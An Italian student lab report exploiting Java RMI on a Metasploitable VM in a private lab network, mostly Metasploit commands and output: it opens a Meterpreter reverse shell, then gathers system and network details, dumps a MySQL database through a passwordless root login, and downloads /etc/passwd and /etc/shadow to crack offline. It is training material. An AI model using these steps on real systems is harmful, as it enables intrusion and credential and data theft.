

Esercitazione Fine modulo 4

Exploit Java RMI

Fabio Benevento - 23/02/2024

Traccia

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 (Java RMI).

Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
 - 1) configurazione di rete;
 - 2) informazioni sulla tabella di routing della macchina vittima
 - 3) altro...

Svolgimento

Esecuzione exploit

Dopo aver avviato il tool Metasploit con il comando `sudo msfconsole` ho utilizzato il comando `search java_rmi` per ricercare nel database di exploit di Metasploit quelli relativi alla vulnerabilità `java rmi`.

Il comando riporta il seguente output dove sono individuati 4 exploit inerenti alla ricerca.

```
msf6 > search java_rmi
Matching Modules
=====
#  Name
0 auxiliary/gather/java_rmi_registry
1 exploit/multi/misc/java_rmi_server
2 auxiliary/scanner/misc/java_rmi_server
3 exploit/multi/browser/java_rmi_connection_impl


```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIClassLoader Deserialization Privilege Escalation

Tra gli exploit trovati, quello che sembra fare al caso nostro è il secondo (exploit/multi/misc/java_rmi_server).

L'ho quindi selezionato tramite il comando `use 1`, dove 1 è l'indice della riga relativa all'exploit frutto della ricerca (in alternativa sarebbe stato possibile utilizzare il nome completo dell'exploit)

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

L'exploit propone di default l'utilizzo della shell `java/meterpreter/reverse_tcp` che apre una sessione remota Meterpreter come richiesto.

Tramite il comando `show options` ho potuto verificare i parametri dell'exploit, soprattutto per quanto riguarda i parametri obbligatori (colonna Required impostata a yes). Tra questi il solo parametro necessario non impostato di default è `RHOST` che rappresenta l'indirizzo ip della macchina target. I restanti sono già impostati correttamente per l'esecuzione dell'exploit

```
msf6 exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
HTTPDELAY  10            yes       Time that the HTTP Server will wait for the payload request
RHOSTS    0.0.0.0          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099           yes       The target port (TCP)
SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080           yes       The local port to listen on.
SSL       false           no        Negotiate SSL for incoming connections
SSLCert   -              no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   -              no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
LHOST    192.168.11.111   yes       The listen address (an interface may be specified)
LPORT    4444           yes       The listen port

Exploit target:
Id  Name
--  --
0   Generic (Java Payload)
```

Nel nostro caso la macchina target è Metasploitable avente indirizzo 192.168.11.112, per cui ho impostato il parametro `RHOST` tramite il comando `set RHOST 192.168.11.112` come illustrato in figura.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
```

Per quanto riguarda i parametri del payload sono presenti i parametri LHOST e LPORT impostati rispettivamente con l'indirizzo IP e la porta sulla macchina locale (quindi Kali) in cui è in ascolto il servizio a cui la macchina target si conserverà al fine di creare un shell di tipo reverse tcp per l'appunto.

Configurato l'exploit l'ho lanciato tramite il comando `exploit` (in alternativa è possibile usare ancora il comando `run` previsto nelle versioni più vecchie di metasploit).

L'exploit, come illustrato in figura, va a buon fine e ho ottenuto una shell meterpreter. Come verifica ho utilizzato il comando `ifconfig` nel cui output è indicato l'ip della macchina Metasploitable come previsto (192.168.11.112)

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/kYHf2bJET1
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:37446) at 2024-02-23 04:26:31 -0500

meterpreter > ifconfig
Interface 1
=====
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe10:8a34
IPv6 Netmask : ::
```

Information gathering post exploitation

Una volta ottenuto accesso alla macchina, è possibile procedere alla fase di information gathering, ovvero di raccolta di informazioni relativamente al target.

Meterpreter permette di eseguire direttamente una serie di comandi tramite la propria shell o alternativamente di avviare una shell sul sistema target con il comando omonimo (`shell`) consentendo all'utente di eseguire comandi come se fosse direttamente sulla macchina bersaglio. I comandi esposti di seguito sono stati eseguiti direttamente o, ove non possibile, in seguito all'avvio di una shell sulla macchina target.

Informazioni sul sistema

Come primo comando ho eseguito il comando `whoami` il quale restituisce l'utente della sessione corrente. In questo caso come mostrato ritorna `root` per cui l'accesso al sistema è con i privilegi di amministratore, consentendo quindi di avere un controllo pressochè completo della macchina attaccata.

```
whoami  
root
```

Tramite il comando `uname -a` ho reperito informazioni sul sistema operativo e l'architettura della macchina target.

Si tratta di una macchina Linux, nello specifico Metasploitable 2.6.24-16-server su architettura i686

```
uname -a  
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

Informazioni analoghe si ottengo con l'esecuzione del comando `sysinfo` nella shell Meterpreter.

```
meterpreter > sysinfo  
Computer : metasploitable  
OS : Linux 2.6.24-16-server  
Architecture : x86  
System Language : en_US  
Meterpreter : java/linux
```

Alternativamente avrei potuto eseguire l'apposito modulo di post-exploitation presente in Metasploit (`post/linux/gather/enum_system`) che raccoglie tutta una serie di informazioni inerenti il sistema target e li salva su file che possono poi essere letti o scaricati in locale tramite il comando `download`

Virtual Environment Detection

Una informazione molto utile è capire se la macchina target è una macchina fisica o una macchina virtuale. Nel caso infatti si tratti di una macchina virtuale sarebbe possibile tentare di effettuare un exploit di tipo VM escape, ovvero sfruttare vulnerabilità del sistema e riuscire a eludere o "sfuggire" dall'ambiente di una macchina virtuale (VM) per ottenere accesso al sistema host sottostante.

Per capire ciò ho provato ad utilizzare i comandi `hostnamectl` e `dmidecode`. Per il target in esame, il comando `hostnamectl` non è disponibile, mentre tramite il comando `sudo dmidecode -s system-product-name` ho ottenuto in output la stringa `VirtualBox`, che è il nome di un sistema di virtualizzazione, ad indicare quindi che si tratta di una macchina virtuale.

```
hostnamectl  
/bin/sh: line 2: hostnamectl: command not found  
  
sudo dmidecode -s system-product-name  
VirtualBox
```

In alternativa, una volta ottenuta la sessione meterpreter ed essere entrati sul sistema, è possibile portare la sessione in background e utilizzare un apposito modulo di Metasploit, il modulo `checkvmm` che è disponibile per diversi environment.

Per il target in esame ho usato il modulo per Linux (`post/linux/gather/checkvmm`) essendo la macchina in esame dotato di un sistema operativo di questa famiglia.

Come parametro obbligatorio è necessario specificare una sessione, per cui ho impostato la sessione 2 precedentemente portata in background.

Ho quindi lanciato l'exploit con il comando omonimo ottenendo come in precedenza l'informazione che si tratta di una macchina virtuale.

```

meterpreter > background
[*] Backgrounding session 2 ...
msf6 exploit(multi/misc/java_rmi_server) > search checkvm
Matching Modules
=====
#  Name
-  --
0  post/linux/gather/checkvm
1  post/solaris/gather/checkvm
2  post/windows/gather/checkvm

Disclosure Date Rank Check Description
-----  --  --  --
normal No   Linux Gather Virtual Environment Detection
normal No   Solaris Gather Virtual Environment Detection
normal No   Windows Gather Virtual Environment Detection

Interact with a module by name or index. For example info 2, use 2 or use post/windows/gather/checkvm
msf6 exploit(multi/misc/java_rmi_server) > use 0
msf6 post(linux/gather/checkvm) > show options

Module options (post/linux/gather/checkvm):
=====
Name      Current Setting  Required  Description
SESSION   1             yes        The session to run this module on

View the full module info with the info, or info -d command.
msf6 post(linux/gather/checkvm) > set SESSION 2
SESSION => 2
msf6 post(linux/gather/checkvm) > exploit

[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_sys_process_kill, stdapi_fs_chmod
[*] Gathering System info ....
[*] This appears to be a 'VirtualBox' virtual machine
[*] Post module execution completed

```

Informazioni sulla rete

Al fine di reperire informazioni sulla rete della macchina vittima ho eseguito il comando route accedendo così alla sua tabella di routing

```

meterpreter > route
IPv4 network routes
=====
shell.php
Subnet      Netmask      Gateway    Metric  Interface
-----  -----
127.0.0.1  255.0.0.0  0.0.0.0
192.168.11.112  255.255.255.0  0.0.0.0

```

Ho inoltre eseguito il comando arp per acquisire la tabella arp utilizzata dal target. In essa è possibile individuare l'ip della macchina Kali da cui ho effettuato l'attacco (192.168.11.111) con il relativo MAC address. E' inoltre presente una ulteriore relativa all'indirizzo 192.168.11.1 che è l'indirizzo di gateway impostato sulla macchia target ma in realtà non presente sulla rete per cui la riga risulta essere incompleta.

arp	Address	HWtype	HWaddress	Flags	Mask	Iface
	192.168.11.111	ether	08:00:27:CB:7E:F5	C		eth0
	192.168.11.1		(incomplete)			eth0

Dalla tabella ARP si evince che non sono presenti ulteriori macchine sulla rete locale per cui non è possibile tentare in seguito operazioni di lateral movement.

Informazioni maggiormente dettagliate circa la rete del sistema target possono essere reperite tramite l'apposito modulo di post-exploitation messo a disposizione da Metasploit (`post/linux/gather/enum_network`). Le varie informazioni vengono salvate su più file, pronti per essere letti o scaricati in locale tramite il comando `download`

Processi e servizi in esecuzione

Eseguendo il comando `ps -aux`, ho potuto analizzare quelli che sono i processi attivi sulla macchina target, come mostrato in figura.

Tramite il comando `netstat -tulpn` ho invece potuto vedere le porte aperte sulla macchina dai vari servizi con il relativo processo di cui è indicato il nome e il PID.

Tra questi è possibile individuare il servizio `rmiregistry` sulla porta 1099 sfruttato dall'exploit per eseguire l'attacco.

```
ps -aux
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
USER      PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      1  0.0  0.1  2844 1696 ?        Ss   11:46  0:01 /sbin/init
root      2  0.0  0.0     0  0 ?        S<  11:46  0:00 [kthreadd]
root      3  0.0  0.0     0  0 ?        S<  11:46  0:00 [migration/0]
root      4  0.0  0.0     0  0 ?        S<  11:46  0:00 [ksoftirqd/0]
root      5  0.0  0.0     0  0 ?        S<  11:46  0:00 [watchdog/0]
root      6  0.0  0.0     0  0 ?        S<  11:46  0:00 [events/0]
root      7  0.0  0.0     0  0 ?        S<  11:46  0:00 [khelper]
root     41  0.0  0.0     0  0 ?        S<  11:46  0:00 [kblockd/0]
root     44  0.0  0.0     0  0 ?        S<  11:46  0:00 [kacpid]
root     45  0.0  0.0     0  0 ?        S<  11:46  0:00 [kacpi_notify]
root     91  0.0  0.0     0  0 ?        S<  11:46  0:00 [kseriod]
root    130  0.0  0.0     0  0 ?        S  11:46  0:00 [pdflush]
root    131  0.0  0.0     0  0 ?        S  11:46  0:00 [pdflush]
root    132  0.0  0.0     0  0 ?        S<  11:46  0:00 [kswapd0]
root    174  0.0  0.0     0  0 ?        S<  11:46  0:00 [aio/0]
root   1130  0.0  0.0     0  0 ?        S<  11:46  0:00 [ksnapd]
root   1299  0.0  0.0     0  0 ?        S<  11:46  0:00 [ata/0]
root   1302  0.0  0.0     0  0 ?        S<  11:46  0:00 [ata_aux]
root   1312  0.0  0.0     0  0 ?        S<  11:46  0:00 [scsi_eh_0]
root   1316  0.0  0.0     0  0 ?        S<  11:46  0:00 [scsi_eh_1]
root   1334  0.0  0.0     0  0 ?        S<  11:46  0:00 [ksuspend_usbd]
root   1337  0.0  0.0     0  0 ?        S<  11:46  0:00 [khubd]
root   2062  0.0  0.0     0  0 ?        S<  11:46  0:00 [scsi_eh_2]
root   2213  0.0  0.0     0  0 ?        S<  11:46  0:00 [kjournald]
root   2370  0.0  0.0  2092  616 ?      S<s 11:46  0:00 /sbin/udevd --daemon
root   2591  0.0  0.0     0  0 ?        S<  11:46  0:00 [kpsmoused]
root   3529  0.0  0.0     0  0 ?        S<  11:46  0:00 [kjournald]
daemon 3660  0.0  0.0  1836  524 ?      Ss  11:46  0:00 /sbin/portmap
statd  3676  0.0  0.0  1900  724 ?      Ss  11:46  0:00 /sbin/rpc.statd
root   3682  0.0  0.0     0  0 ?        S<  11:46  0:00 [rpciod/0]
root   3697  0.0  0.0  3648  564 ?      Ss  11:46  0:00 /usr/sbin/rpc.idmapd
root   3924  0.0  0.0  1716  488 tty4    Ss+ 11:46  0:00 /sbin/getty 38400 tty4
root   3925  0.0  0.0  1716  492 tty5    Ss+ 11:46  0:00 /sbin/getty 38400 tty5
root   3930  0.0  0.0  1716  488 tty2    Ss+ 11:46  0:00 /sbin/getty 38400 tty2
root   3932  0.0  0.0  1716  488 tty3    Ss+ 11:46  0:00 /sbin/getty 38400 tty3
root   3935  0.0  0.0  1716  488 tty6    Ss+ 11:46  0:00 /sbin/getty 38400 tty6
syslog 3973  0.0  0.0  1936  648 ?      Ss  11:46  0:00 /sbin/syslogd -u syslog
```

```

netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp      0      0 0.0.0.0:512              0.0.0.0:*
tcp      0      0 0.0.0.0:513              0.0.0.0:*
tcp      0      0 0.0.0.0:2049             0.0.0.0:*
tcp      0      0 0.0.0.0:514              0.0.0.0:*
tcp      0      0 0.0.0.0:59012             0.0.0.0:*
tcp      0      0 0.0.0.0:42919             0.0.0.0:*
tcp      0      0 0.0.0.0:42536             0.0.0.0:*
tcp      0      0 0.0.0.0:8009             0.0.0.0:*
tcp      0      0 0.0.0.0:6697              0.0.0.0:*
tcp      0      0 0.0.0.0:34793             0.0.0.0:*
tcp      0      0 0.0.0.0:3306              0.0.0.0:*
tcp      0      0 0.0.0.0:1099             0.0.0.0:*
tcp      0      0 0.0.0.0:6667              0.0.0.0:*
tcp      0      0 0.0.0.0:139               0.0.0.0:*
tcp      0      0 0.0.0.0:5900              0.0.0.0:*
tcp      0      0 0.0.0.0:111               0.0.0.0:*
tcp      0      0 0.0.0.0:6000              0.0.0.0:*
tcp      0      0 0.0.0.0:80                0.0.0.0:*
tcp      0      0 0.0.0.0:8787             0.0.0.0:*
tcp      0      0 0.0.0.0:8180              0.0.0.0:*
tcp      0      0 0.0.0.0:1524             0.0.0.0:*
tcp      0      0 0.0.0.0:21                0.0.0.0:*
tcp      0      0 192.168.11.112:53          0.0.0.0:*
tcp      0      0 127.0.0.1:53              0.0.0.0:*
tcp      0      0 0.0.0.0:23                0.0.0.0:*
tcp      0      0 0.0.0.0:5432             0.0.0.0:*
tcp      0      0 0.0.0.0:25                0.0.0.0:*
tcp      0      0 127.0.0.1:953             0.0.0.0:*
tcp      0      0 0.0.0.0:445               0.0.0.0:*
tcp6     0      0 ::1:2121                :::*
tcp6     0      0 ::1:3632                :::*
tcp6     0      0 ::1:53                  :::*
tcp6     0      0 ::1:22                  :::*
tcp6     0      0 ::1:5432                :::*

```

Dump database

Tra i servizi presenti sulla macchina come è possibile vedere c'è il servizio `mysqld` che indica la presenza del database `mysql`.

Il database in questo caso si è rivelato particolarmente vulnerabile in quanto effettuando alcuni semplici tentativi è emerso che l'accesso per l'utente root è concesso senza autorizzazioni (password vuota).

In ogni caso, sarebbe possibile utilizzare tool appositi come Hydra per tentare di ritrovare le credenziali, specialmente in presenza di password "deboli" o di uso comune. Avviando una shell di sistema sul target ho quindi in primo luogo attenzionato quali database erano presenti sulla macchina tramite il comando `mysqlshow`.

```

meterpreter > shell
Process 9 created.
Channel 10 created.

mysqlshow -u root -p
Enter password:
+-----+
| Databases |
+-----+
| information_schema |
| dwva |
| metasploit |
| mysql |
| owasp10 |
| tikiwiki |
| tikiwiki195 |

```

Successivamente ho eseguito il comando `mysqldump` sul database `tikiwiki` (considerato di possibile interesse) come mostrato in figura.

```

mysqldump -u root -p tikiwiki > tikiwiki_dump.sql
Enter password:

ls -l
total 317
drwxr-xr-x  2 root root  4096 May 13  2012 bin
drwxr-xr-x  4 root root  1024 May 13  2012 boot
lrwxrwxrwx  1 root root   11 Apr 28  2010 cdrom → media/cdrom
drwxr-xr-x 14 root root 13480 Jan 27 11:46 dev
-rw-r--r--  1 root root     0 Jan 27 12:56 dump.sql
drwxr-xr-x 94 root root  4096 Jan 27 11:46 etc
drwxr-xr-x  6 root root  4096 Apr 16  2010 home
drwxr-xr-x  2 root root  4096 Mar 16  2010 initrd
lrwxrwxrwx  1 root root   32 Apr 28  2010 initrd.img → boot/initrd.img-2.6.24-16-server
drwxr-xr-x 13 root root  4096 May 13  2012 lib
drwx———  2 root root 16384 Mar 16  2010 lost+found
drwxr-xr-x  4 root root  4096 Mar 16  2010 media
drwxr-xr-x  3 root root  4096 Apr 28  2010 mnt
-rw———  1 root root 20962 Jan 27 11:47 nohup.out
drwxr-xr-x  2 root root  4096 Mar 16  2010 opt
dr-xr-xr-x 116 root root     0 Jan 27 11:46 proc
drwxr-xr-x 13 root root  4096 Jan 27 11:47 root
drwxr-xr-x  2 root root  4096 May 13  2012 sbin
drwxr-xr-x  2 root root  4096 Mar 16  2010 srv
drwxr-xr-x 12 root root     0 Jan 27 11:46 sys
drwxr-xr-x  2 root root  4096 Jan 26 22:45 test_metasploit
-rw-r--r--  1 root root 215601 Jan 27 13:03 tikiwiki_dump.sql
drwxrwxrwt  4 root root  4096 Jan 27 13:03 tmp
drwxr-xr-x 12 root root  4096 Apr 28  2010 usr

```

Tornano quindi alla shell meterpreter, ho eseguito il comando `download` acquisendo quindi il dump del database per permettere un'analisi più approfondita offline in futuro.

```

meterpreter > download tikiwiki_dump.sql /home/kali/tikiwikidump.sql
[*] Downloading: tikiwiki_dump.sql → /home/kali/tikiwikidump.sql/tikiwiki_dump.sql
[*] Downloaded 210.55 KiB of 210.55 KiB (100.0%): tikiwiki_dump.sql → /home/kali/tikiwikidump.sql/tikiwiki_dump.sql
[*] Completed : tikiwiki_dump.sql → /home/kali/tikiwikidump.sql/tikiwiki_dump.sql

```

Acquisizione credenziali utenti

Per ottenere informazioni circa gli utenti presenti sulla macchina ho eseguito il comando `cat /etc/passwd` che stampa a schermo il contenuto del file `passwd` contenente informazioni sugli account degli utenti, inclusi i loro nomi utente,

identificatori di utente (UID), identificatori di gruppo (GID), nomi completi, percorsi della home directory e shell predefinita.

```
meterpreter > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuuid:x:100:101::/var/lib/libuuuid:/bin/sh
dhcpc:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
```

Ho provveduto quindi al download di questo file congiuntamente al file /etc/shadow, nel quale nei moderni sistemi Linux sono memorizzate in maniera cifrate le password degli utenti.

Questi due file possono essere dati in pasto in modalità offline ad un tool come John The Ripper al fine di cercare di decriptare le password dei vari utenti presenti sulla macchina target.

```
meterpreter > download /etc/passwd /home/kali/target_credentials
[*] Downloading: /etc/passwd → /home/kali/target_credentials/passwd
[*] Downloaded 1.54 KiB of 1.54 KiB (100.0%): /etc/passwd → /home/kali/target_credentials/passwd
[*] Completed : /etc/passwd → /home/kali/target_credentials/passwd
meterpreter > download /etc/shadow /home/kali/target_credentials
[*] Downloading: /etc/shadow → /home/kali/target_credentials/shadow
[*] Downloaded 1.18 KiB of 1.18 KiB (100.0%): /etc/shadow → /home/kali/target_credentials/shadow
[*] Completed : /etc/shadow → /home/kali/target_credentials/shadow
```

Ricerca file di configurazione

Tra i file sensibili che posso essere esplorati in fase di attacco ci sono sicuramente i file di configurazione.

Per la loro ricerca e acquisizione ho utilizzato un apposito modulo di post-exploitation di Meterpreter denominato enum_configs.

Matching Modules						
#	Name	Disclosure Date	Rank	Check	Description	
0	auxiliary/parser/unattend		normal	No	Auxilliary Parser Windows Unattend Passwords	
1	post/networking/gather/_brocade		normal	No	Brocade Gather Device General Information	
2	post/networking/gather/_cisco		normal	No	Cisco Gather Device General Information	
3	auxiliary/_gather/_enum_dn		normal	No	DNS Record Scanner and Enumerator	
4	post/networking/gather/_enum_f5		normal	No	F5 Gather Device General Information	
5	post/linux/_gather/_enum_commands		normal	No	Gather Available Shell Commands	
6	post/networking/gather/_enum_juniper		normal	No	Juniper Gather Device General Information	
7	post/linux/_gather/_enum_containers		normal	No	Linux Container Enumeration	
8	post/linux/_gather/_enum_configs		normal	No	Linux Gather Configurations	
9	post/multi/_gather/_enum_hexchat		normal	No	Linux Gather HexChat Xchat Enumeration	
10	post/linux/_gather/_enum_network		normal	No	Linux Network Information	
11	post/linux/_gather/_enum_pkcs		normal	No	Linux Gather NetworkManager 802-11-Wireless-Security Credentials	
12	post/linux/_gather/_enum_protections		normal	No	Linux Gather Protection Enumeration	
13	post/linux/_gather/_enum_system		normal	No	Linux Gather System and User Information	
14	post/linux/_gather/_enum_users_history		normal	No	Linux Gather User History	
15	post/networking/gather/_enum_mikrotik		normal	No	Mikrotik Gather Device General Information	
16	post/multi/_gather/_enum_vbox		normal	No	Multi Gather VirtualBox VM Enumeration	
17	post/multi/_gather/_enum_software_versions		normal	No	Multiplatform Installed Software Version Enumerator	

Questo modulo richiede come parametro una sessione ed in questo caso ho specificato una delle sessioni create in precedenza da Meterpreter e portate in background, individuate tramite il comando `show sessions`. Ho quindi impostato il parametro con il comando `set SESSION 3` come evidenziato in figura.

Lanciato l'exploit con il comando omonimo, il modulo salva tutti i file di configurazione trovati nella cartella /root/.msf4. Ho provveduto al loro scaricamento in locale con il comando download per permettere un'analisi offline successiva.